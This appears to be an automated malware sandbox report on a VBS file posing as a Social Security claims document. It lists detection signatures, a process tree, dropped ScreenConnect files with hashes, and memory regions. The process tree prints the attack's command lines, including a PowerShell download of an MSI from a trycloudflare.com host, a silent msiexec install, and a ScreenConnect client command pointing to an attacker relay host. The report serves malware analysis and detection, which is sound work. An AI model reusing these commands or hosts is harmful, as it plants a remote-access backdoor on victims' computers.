Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251231-en
  • resource tags

    arch:x64arch:x86image:win11-20251231-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/01/2026, 07:53

General

  • Target
    SSADocument-Claims.vbs
  • Size 1KB
  • Sample260106-jrf9laex7f
  • SHA256 a4c10608db883e2691dd4d2b600e94a6db7f3ebfae2fbc55bb0a5a43febae61b
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Binary is signed using a ConnectWise certificate revoked for key compromise. 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SSADocument-Claims.vbs"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3184
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ssaInstall\install.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5096
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://blessed-welfare-accessible-explanation.trycloudflare.com/dashboard/bs/bs/sutp.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ssaInstall\setup.msi'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3168
      • C:\Windows\system32\msiexec.exe
        msiexec /i "C:\Users\Admin\AppData\Local\Temp\ssaInstall\setup.msi" LEVEL_API_KEY=jGzD3XaLXB4djKMCtnJN8sKk /qn /log "C:\Users\Admin\AppData\Local\Temp\ssaInstall\install.log"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4236
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4016
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 98E94BBB7E7F36F4B723D2EE9C03A521
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:992
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIF58B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240645718 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3312
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D901B85CDCF69E3C5BA211FB6D1F9609 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:5304
  • C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=app.modernbusinessevolution.com&p=8041&s=68326913-ece9-4634-b33c-03f967ca955f&k=BgIAAACkAABSU0ExAAgAAAEAAQDhh3hMHHs%2fAiaMB%2bjLJtiYAASbFBksZ8b3lNtAVk3h%2fw7Ecfly2wWL3eiZiqyZLwry1l1P%2fxowaDjBKGMMxujSCGqoLk5sYox6ZO%2fPEzbYwNRU0WNuM2R3LWvdWTqp6tHkBQW6Hesfstwvc5o8C9eS1zl6AyYTm75VLGegyxS8gj%2b0Ku9x0PeQ0opuun8p814nADXFBqFSFb6FJ8AWlDSRzShN59l1V7ouVh%2fm0IYadySrmtDT4RoDCZRhs1CfuLW5XS3xznUs2Nalwcd9ZbdF3LpGSXOVp%2bu95l2%2b56M90PdSeQ2P%2bZHP48Hf6x0OJzY6cQUyGb4BKgA13pT9MFPF&t=BS"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1332
    • C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe" "RunRole" "169544bd-f9bb-4c21-9f10-e34d489571b4" "User"
      2⤵
      • Executes dropped EXE
      PID:2264
    • C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe" "RunRole" "9e2d3a67-993f-47ed-8ab6-589751c1231e" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:580

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e57f456.rbs

        • Path C:\Config.Msi\e57f456.rbs
        • Size 214KB
        • SHA256 cd9423894322089714c87e34927c1bd179a9b2c6cb904cb5b352928113e8a6a6
        • MD5 SHA1 SHA512 SSDEEP

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.Override.en-US.resources
        • Size 357B
        • SHA256 c295da3fb72259d9aa0f48b946d91094e77e76d566715d776d79a8f15b90a2ec
        • MD5 SHA1 SHA512

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.Override.resources
        • Size 8KB
        • SHA256 911e0f6b220e4e70bc9471a6b1d8d5abdc00562db5620fcb87402a4f87098714
        • MD5 SHA1 SHA512 SSDEEP

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.en-US.resources
        • Size 48KB
        • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
        • MD5 SHA1 SHA512 SSDEEP

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\Client.resources
        • Size 26KB
        • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.Client.dll
        • Size 202KB
        • SHA256 4905d5cd7ab1fd4d663507ab9ec43ef1fd68041b30032026b4fbf375c4327947
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.dll
        • Size 76KB
        • SHA256 c169aa8ba5e10feda44c7d171ef56d074353d11bbdbb48108d702c80390b8239
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 fc2b74904ede9ff618a7fce43252f101bb997d918d992551bdb2e8011b23dfdc
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.Core.dll
        • Size 546KB
        • SHA256 afacd1c90818763b837df262913cf316bd27db326b03516d3226bf374067cee3
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 4a8f430ccf43368a0edf8803a0bd86ef970c225e1b4b16ec6121206aa66e1131
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe
        • Size 588KB
        • SHA256 cbad681582de70faa603e5398835303c74207c893ca7e21d00944764c63aa1e0
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 822KB
        • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
        • MD5 SHA1 SHA512 SSDEEP

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\app.config
        • Size 2KB
        • SHA256 15cddbf50ca1b23951048857088ac35d5fbbee6bfc9523676152cf42e291cc95
        • MD5 SHA1 SHA512

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (4205d3d2c4079896)\system.config
        • Size 957B
        • SHA256 56de64df9474a898a4a492f95c3cb85feae1ddddb3be19051d4495ff02563d36
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_iovuq3xa.1ml.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iovuq3xa.1ml.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        install.bat

        • Path C:\Users\Admin\AppData\Local\Temp\ssaInstall\install.bat
        • Size 649B
        • SHA256 568cbcb0acd6b60f1709801c10edfd7385bdcf7e340e2dd0b9b3de740bb564ca
        • MD5 SHA1 SHA512

        install.log

        • Path C:\Users\Admin\AppData\Local\Temp\ssaInstall\install.log
        • Size 2B
        • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
        • MD5 SHA1 SHA512

        setup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\ssaInstall\setup.msi
        • Size 12.8MB
        • SHA256 3fa7334fb6aeb88f61e93b942b97846b4195ccacc1804133dd12554608925f24
        • MD5 SHA1 SHA512 SSDEEP

        MSIF58B.tmp

        • Path C:\Windows\Installer\MSIF58B.tmp
        • Size 1.0MB
        • SHA256 d6950ed652ef6ef24db126331c7df4b4a3c7129028138da526417f59fa06faee
        • MD5 SHA1 SHA512 SSDEEP

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIF58B.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIF58B.tmp-\ScreenConnect.Core.dll
        • Size 536KB
        • SHA256 a6af16448d84cbe345ac145b6b526c55610890e4152d0f1f215bb2d638b1b546
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIF58B.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 d75b9eaba6d347e66a9b1d430e47a8473220e972494cca6e0b101fcd235b6784
        • MD5 SHA1 SHA512 SSDEEP

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSIF58B.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 d996027907023ae570b25c92874c880db4a81ea5c0fdafb1e34d7abcf72f5a73
        • MD5 SHA1 SHA512 SSDEEP

        MSIFC34.tmp

        • Path C:\Windows\Installer\MSIFC34.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP

        memory/580-153-0x000000001CC30000-0x000000001CC71000-memory.dmp

        memory/1332-103-0x0000000004450000-0x00000000044DC000-memory.dmp

        memory/1332-115-0x00000000048E0000-0x0000000004972000-memory.dmp

        memory/1332-119-0x0000000004AD0000-0x0000000004BA2000-memory.dmp

        memory/1332-97-0x0000000001EE0000-0x0000000001EF8000-memory.dmp

        memory/1332-110-0x00000000045E0000-0x0000000004630000-memory.dmp

        memory/1332-117-0x0000000004840000-0x0000000004881000-memory.dmp

        memory/1332-114-0x0000000004630000-0x0000000004666000-memory.dmp

        memory/1332-107-0x0000000004690000-0x000000000483A000-memory.dmp

        memory/2264-147-0x000000001CF50000-0x000000001CFDC000-memory.dmp

        memory/2264-148-0x000000001D190000-0x000000001D33A000-memory.dmp

        memory/2264-149-0x000000001E150000-0x000000001E2D8000-memory.dmp

        memory/2264-145-0x0000000000910000-0x00000000009A6000-memory.dmp

        memory/2264-146-0x0000000001300000-0x0000000001336000-memory.dmp

        memory/2264-150-0x00000000012D0000-0x00000000012E8000-memory.dmp

        memory/2264-151-0x0000000002C10000-0x0000000002C28000-memory.dmp

        memory/3168-14-0x000001277A610000-0x000001277A620000-memory.dmp

        memory/3168-5-0x000001277A610000-0x000001277A620000-memory.dmp

        memory/3168-4-0x000001277A610000-0x000001277A620000-memory.dmp

        memory/3168-7-0x000001277DB30000-0x000001277DB52000-memory.dmp

        memory/3168-13-0x000001277A610000-0x000001277A620000-memory.dmp

        memory/3168-15-0x000001277A610000-0x000001277A620000-memory.dmp

        memory/3168-16-0x000001277A610000-0x000001277A620000-memory.dmp

        memory/3312-57-0x0000000005A30000-0x0000000005FD6000-memory.dmp

        memory/3312-56-0x00000000052D0000-0x000000000547A000-memory.dmp

        memory/3312-52-0x0000000005090000-0x000000000511C000-memory.dmp

        memory/3312-48-0x0000000004F90000-0x0000000004F9A000-memory.dmp

        memory/3312-44-0x0000000004F50000-0x0000000004F7E000-memory.dmp